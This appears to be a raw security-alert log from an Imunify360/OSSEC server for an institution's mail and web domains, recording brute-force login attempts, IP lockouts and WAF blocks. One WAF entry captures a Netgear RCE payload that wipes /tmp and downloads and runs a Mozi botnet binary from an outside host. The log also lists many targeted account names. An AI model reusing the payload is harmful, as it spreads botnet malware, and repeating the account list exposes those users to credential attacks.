name: Imunify PAM. The IP has been locked by RBL
abuser: 39.165.236.12
country_id: 1814991
description:
Feb  7 17:36:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.165.236.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.186.241.102
country_id: 1835841
description:
Feb  7 17:37:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.186.241.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.145.221.21
country_id: 1814991
description:
Feb  7 17:37:45 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.145.221.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.145.221.21
country_id: 1814991
description:
2025-02-07 17:37:47 dovecot_plain authenticator failed for ([219.145.221.21]) [219.145.221.21]:50830: 535 Incorrect authentication data (set_id=info@myait.org)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.135.188.125
country_id: 1835841
description:
Feb  7 17:37:50 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.135.188.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.135.188.125
country_id: 1835841
description:
2025-02-07 17:37:52 dovecot_plain authenticator failed for ([121.135.188.125]) [121.135.188.125]:48846: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.200.120
country_id: 1819730
description:
Feb  7 17:38:00 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.200.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.200.120
country_id: 1819730
description:
2025-02-07 17:38:02 dovecot_plain authenticator failed for ([121.202.200.120]) [121.202.200.120]:52515: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.186.241.102
country_id: 1835841
description:
2025-02-07 17:37:37 dovecot_plain authenticator failed for ([112.186.241.102]) [112.186.241.102]:40675: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.105.193.45
country_id: 6252001
description:
2025-02-07 17:39:10 dovecot_plain authenticator failed for syn-208-105-193-045.biz.spectrum.com [208.105.193.45]:44391: 535 Incorrect authentication data (set_id=ads20a00079y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.129.234.76
country_id: 6252001
description:
2025-02-07 17:39:19 dovecot_login authenticator failed for (ADMIN) [102.129.234.76]:43470: 535 Incorrect authentication data (set_id=info@aitsmartschool.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.10
country_id: 1819730
description:
2025-02-07 17:38:28 dovecot_login authenticator failed for (m121-202-155-10.smartone.com) [121.202.155.10]:5922: 535 Incorrect authentication data (set_id=info@aitvarsity.net)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.93.247.226
country_id: 1643084
description:
Feb  7 17:38:36 ait sshd[1928653]: pam_imunify(sshd:auth): [IM360_RBL] The IP 36.93.247.226 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 208.105.193.45
country_id: 6252001
description:
Feb  7 17:39:08 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 208.105.193.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.11.33.116
country_id: 1814991
description:
2025-02-07 17:38:38 dovecot_login authenticator failed for ([221.11.33.116]) [221.11.33.116]:46943: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.134.96.117
country_id: 6251999
description:
Feb  7 17:39:18 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.134.96.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.134.96.117
country_id: 6251999
description:
2025-02-07 17:39:20 dovecot_plain authenticator failed for ([207.134.96.117]) [207.134.96.117]:35121: 535 Incorrect authentication data (set_id=ads20a00079y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.10
country_id: 1819730
description:
Feb  7 17:38:26 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.11.33.116
country_id: 1814991
description:
Feb  7 17:38:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.11.33.116 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 36.93.247.226
country_id: 1643084
description:
Feb  7 17:38:36 ait sshd[1928653]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=36.93.247.226  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.194.181.238
country_id: 1835841
description:
Feb  7 17:39:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.194.181.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.194.181.238
country_id: 1835841
description:
2025-02-07 17:39:36 dovecot_plain authenticator failed for ([175.194.181.238]) [175.194.181.238]:57380: 535 Incorrect authentication data (set_id=ads20a00079y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.83.205
country_id: 1814991
description:
2025-02-07 17:39:50 dovecot_plain authenticator failed for ([58.18.83.205]) [58.18.83.205]:58895: 535 Incorrect authentication data (set_id=eng19b00213y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.149.231.251
country_id: 6252001
description:
2025-02-07 17:40:10 dovecot_plain authenticator failed for ([47.149.231.251]) [47.149.231.251]:40712: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.93.247.226
country_id: 1643084
description:
Feb  7 17:40:15 ait sshd[1929613]: pam_imunify(sshd:auth): [IM360_RBL] The IP 36.93.247.226 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 36.93.247.226
country_id: 1643084
description:
Feb  7 17:40:15 ait sshd[1929613]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=36.93.247.226  user=root


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 3.109.181.164
country_id: 1269750
domain: hostels.ait-edu.net
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:hostel||WPU:hostel||RSV:6.65||T:APACHE||MV:17-40.3.109.181.164


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.197.10.46
country_id: 1814991
description:
Feb  7 17:39:26 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.197.10.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.149.231.251
country_id: 6252001
description:
Feb  7 17:40:08 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.149.231.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.197.10.46
country_id: 1814991
description:
2025-02-07 17:39:28 dovecot_plain authenticator failed for ([120.197.10.46]) [120.197.10.46]:38716: 535 Incorrect authentication data (set_id=eng19b00213y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.18.83.205
country_id: 1814991
description:
Feb  7 17:39:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.18.83.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.172.239.193
country_id: 3017382
description:
Feb  7 17:40:18 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.172.239.193 has been locked due to Imunify RBL


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 117.196.164.97
country_id: 1269750
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:6.65||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://117.196.164.97:58233/Mozi.m -O /tmp/netgear;sh netgear||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.172.239.193
country_id: 3017382
description:
2025-02-07 17:40:20 dovecot_plain authenticator failed for sed08-h03-176-172-239-193.dsl.sta.abo.bbox.fr [176.172.239.193]:49866: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.178.158.132
country_id: 1269750
description:
Feb  7 17:41:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.178.158.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.49.156.198
country_id: 1835841
description:
Feb  7 17:40:43 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.49.156.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.152.144
country_id: 1733045
description:
Feb  7 17:40:58 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.152.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.199.5.231
country_id: 1835841
description:
2025-02-07 17:41:06 dovecot_plain authenticator failed for ([211.199.5.231]) [211.199.5.231]:35126: 535 Incorrect authentication data (set_id=ads07b99022y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.161.242.146
country_id: 1814991
description:
2025-02-07 17:41:12 dovecot_plain authenticator failed for (146.242.161.222.adsl-pool.jlccptt.net.cn) [222.161.242.146]:8091: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.202.82.16
country_id: 1835841
description:
Feb  7 17:41:16 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.202.82.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.202.82.16
country_id: 1835841
description:
2025-02-07 17:41:18 dovecot_plain authenticator failed for ([175.202.82.16]) [175.202.82.16]:49222: 535 Incorrect authentication data (set_id=ads07b99022y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.47.74.210
country_id: 1269750
description:
Feb  7 17:40:44 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.47.74.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.144
country_id: 1733045
description:
2025-02-07 17:41:00 dovecot_plain authenticator failed for ([49.124.152.144]) [49.124.152.144]:46876: 535 Incorrect authentication data (set_id=obiri)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.161.242.146
country_id: 1814991
description:
Feb  7 17:41:10 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.161.242.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.38.100.151
country_id: 2750405
description:
Feb  7 17:41:13 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.38.100.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.174.88.241
country_id: 3469034
description:
Feb  7 17:41:26 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.174.88.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.88.241
country_id: 3469034
description:
2025-02-07 17:41:28 dovecot_plain authenticator failed for (177-174-88-241.user.vivozap.com.br) [177.174.88.241]:47391: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
country_id: 1835841
description:
Feb  7 17:41:30 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.178.158.132
country_id: 1269750
description:
2025-02-07 17:41:39 dovecot_plain authenticator failed for ([103.178.158.133]) [103.178.158.132]:58390: 535 Incorrect authentication data (set_id=mappiah@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.156.198
country_id: 1835841
description:
2025-02-07 17:40:45 dovecot_plain authenticator failed for ([14.49.156.198]) [14.49.156.198]:60017: 535 Incorrect authentication data (set_id=obiri@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.47.74.210
country_id: 1269750
description:
2025-02-07 17:40:46 dovecot_login authenticator failed for ([103.47.74.210]) [103.47.74.210]:56426: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.199.5.231
country_id: 1835841
description:
Feb  7 17:41:04 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.199.5.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.38.100.151
country_id: 2750405
description:
2025-02-07 17:41:15 dovecot_plain authenticator failed for ([209.38.100.151]) [209.38.100.151]:49856: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.98.28.43
country_id: 1269750
description:
2025-02-07 17:41:51 dovecot_plain authenticator failed for ([14.98.28.43]) [14.98.28.43]:53230: 535 Incorrect authentication data (set_id=mappiah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.164.135.251
country_id: 1835841
description:
2025-02-07 17:41:55 dovecot_login authenticator failed for ([121.164.135.251]) [121.164.135.251]:49789: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.50.178.142
country_id: 3469034
description:
Feb  7 17:41:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.50.178.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.225.239.115
country_id: 1835841
description:
2025-02-07 17:42:04 dovecot_plain authenticator failed for ([58.225.239.115]) [58.225.239.115]:47269: 535 Incorrect authentication data (set_id=ads19b00251y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.81.70.80
country_id: 6252001
description:
2025-02-07 17:42:34 dovecot_login authenticator failed for (50-81-70-80.client.mchsi.com) [50.81.70.80]:49998: 535 Incorrect authentication data (set_id=info@aitlemass.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.235.228
country_id: 6252001
description:
Feb  7 17:42:13 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.235.228 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.235.228
country_id: 6252001
description:
2025-02-07 17:42:15 dovecot_plain authenticator failed for ([92.118.235.228]) [92.118.235.228]:46362: 535 Incorrect authentication data (set_id=ads19b00251y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.81.70.80
country_id: 6252001
description:
Feb  7 17:42:32 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.81.70.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.164.135.251
country_id: 1835841
description:
Feb  7 17:41:53 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.164.135.251 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.59.46
country_id: 1880251
description:
47.128.59.46 - - [07/Feb/2025:17:41:54 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=26357352 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/courses/page/8/?filter_course-language=121&filtering=1&rating_filter=5" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.59.46


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.225.239.115
country_id: 1835841
description:
Feb  7 17:42:02 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.225.239.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.50.178.142
country_id: 3469034
description:
2025-02-07 17:41:44 dovecot_login authenticator failed for (200-205-57-89.customer.tdatabrasil.net.br) [187.50.178.142]:44646: 535 Incorrect authentication data (set_id=info@worldwide-university.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.98.28.43
country_id: 1269750
description:
Feb  7 17:41:49 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.98.28.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.40.122.250
country_id: 2629691
description:
Feb  7 17:43:07 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.40.122.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.112.6.186
country_id: 1814991
description:
2025-02-07 17:43:23 dovecot_plain authenticator failed for ([116.112.6.186]) [116.112.6.186]:48269: 535 Incorrect authentication data (set_id=suvie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Feb  7 17:42:55 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 102.182.190.172
country_id: 953987
description:
[2025-02-07 17:43:03 +0100] info [webmaild] 102.182.190.172 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.155.109.61
country_id: 3658394
description:
[2025-02-07 17:43:06 +0100] info [webmaild] 190.155.109.61 - info@aitsmartschool.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.112.6.186
country_id: 1814991
description:
Feb  7 17:43:21 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.112.6.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.2.161.66
country_id: 3469034
description:
2025-02-07 17:42:46 dovecot_login authenticator failed for ([177.2.161.89]) [177.2.161.66]:49454: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2025-02-07 17:42:57 dovecot_plain authenticator failed for 54.126.103.87.rev.vodafone.pt [87.103.126.54]:2518: 535 Incorrect authentication data (set_id=ads20a00079y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.242.86.203
country_id: 1814991
description:
2025-02-07 17:43:08 dovecot_plain authenticator failed for ([58.242.86.203]) [58.242.86.203]:34586: 535 Incorrect authentication data (set_id=suvie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.23.248.242
country_id: 2802361
description:
Feb  7 17:43:19 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.23.248.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.242.86.203
country_id: 1814991
description:
Feb  7 17:43:06 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.242.86.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.40.122.250
country_id: 2629691
description:
2025-02-07 17:43:09 dovecot_plain authenticator failed for nova-185-040-122-250.cpe.novanet.is [185.40.122.250]:51210: 535 Incorrect authentication data (set_id=ads20a00079y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.2.161.66
country_id: 3469034
description:
Feb  7 17:42:44 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.2.161.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.195.196.240
country_id: 6252001
description:
2025-02-07 17:44:03 dovecot_plain authenticator failed for (mobile-166-195-196-240.mycingular.net) [166.195.196.240]:42008: 535 Incorrect authentication data (set_id=pg23j2050041)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.94.179.104
country_id: 6252001
description:
Feb  7 17:44:15 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.94.179.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.246.214
country_id: 1269750
description:
Feb  7 17:44:18 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.246.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.195.196.240
country_id: 6252001
description:
Feb  7 17:44:01 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.195.196.240 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.222.171.6
country_id: 3017382
description:
2025-02-07 17:44:01 dovecot_plain authenticator failed for 6.ip-92-222-171.eu [92.222.171.6]:49635: 535 Incorrect authentication data (set_id=eharry@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.238
country_id: 1814991
description:
2025-02-07 17:44:25 dovecot_plain authenticator failed for ([1.30.20.238]) [1.30.20.238]:44011: 535 Incorrect authentication data (set_id=ads21a00010y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.40.100.155
country_id: 1814991
description:
Feb  7 17:44:32 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.40.100.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.4.255.205
country_id: 1835841
description:
Feb  7 17:43:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.4.255.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.18.90.250
country_id: 1814991
description:
Feb  7 17:44:04 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.18.90.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.90.250
country_id: 1814991
description:
2025-02-07 17:44:06 dovecot_plain authenticator failed for ([58.18.90.250]) [58.18.90.250]:50266: 535 Incorrect authentication data (set_id=info@ait-ext.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.246.214
country_id: 1269750
description:
2025-02-07 17:44:20 dovecot_plain authenticator failed for (nsg-corporate-214.246.187.122.airtel.in) [122.187.246.214]:33578: 535 Incorrect authentication data (set_id=eharry)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.30.20.238
country_id: 1814991
description:
Feb  7 17:44:23 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.30.20.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.40.100.155
country_id: 1814991
description:
2025-02-07 17:44:34 dovecot_plain authenticator failed for ([27.40.100.155]) [27.40.100.155]:44667: 535 Incorrect authentication data (set_id=eng20a00022y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2025-02-07 17:44:37 dovecot_plain authenticator failed for ([106.245.246.26]) [106.245.246.26]:35821: 535 Incorrect authentication data (set_id=ads21a00010y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.4.255.205
country_id: 1835841
description:
2025-02-07 17:43:44 dovecot_plain authenticator failed for ([59.4.255.205]) [59.4.255.205]:50926: 535 Incorrect authentication data (set_id=pg23j2050041@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.222.171.6
country_id: 3017382
description:
Feb  7 17:43:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.222.171.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.245.246.26
country_id: 1835841
description:
Feb  7 17:44:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.245.246.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.94.179.104
country_id: 6252001
description:
2025-02-07 17:44:17 dovecot_plain authenticator failed for ([23.94.179.104]) [23.94.179.104]:50220: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.216.5.134
country_id: 1814991
description:
2025-02-07 17:45:31 dovecot_plain authenticator failed for ([114.216.5.134]) [114.216.5.134]:43432: 535 Incorrect authentication data (set_id=ads23a00041y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.221.65.24
country_id: 2413451
description:
Feb  7 17:44:47 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.221.65.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.216.5.134
country_id: 1814991
description:
Feb  7 17:45:29 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.216.5.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.167.58.9
country_id: 617790
description:
2025-02-07 17:45:14 dovecot_plain authenticator failed for ([185.167.58.9]) [185.167.58.9]:51784: 535 Incorrect authentication data (set_id=afenyo@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.20.146
country_id: 2017370
description:
2025-02-07 17:45:23 dovecot_plain authenticator failed for ([31.173.20.146]) [31.173.20.146]:60788: 535 Incorrect authentication data (set_id=afenyo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
country_id: 1562822
description:
Feb  7 17:44:52 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.223.251.251
country_id: 1814991
description:
Feb  7 17:45:18 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.223.251.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.20.146
country_id: 2017370
description:
Feb  7 17:45:21 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.20.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.134.31.193
country_id: 1835841
description:
2025-02-07 17:45:42 dovecot_plain authenticator failed for ([121.134.31.193]) [121.134.31.193]:35433: 535 Incorrect authentication data (set_id=bscs18bit0021y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.221.65.24
country_id: 2413451
description:
2025-02-07 17:44:49 dovecot_plain authenticator failed for ([102.221.65.24]) [102.221.65.24]:40337: 535 Incorrect authentication data (set_id=eng20a00022y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.167.58.9
country_id: 617790
description:
Feb  7 17:45:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.167.58.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.134.31.193
country_id: 1835841
description:
Feb  7 17:45:40 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.134.31.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
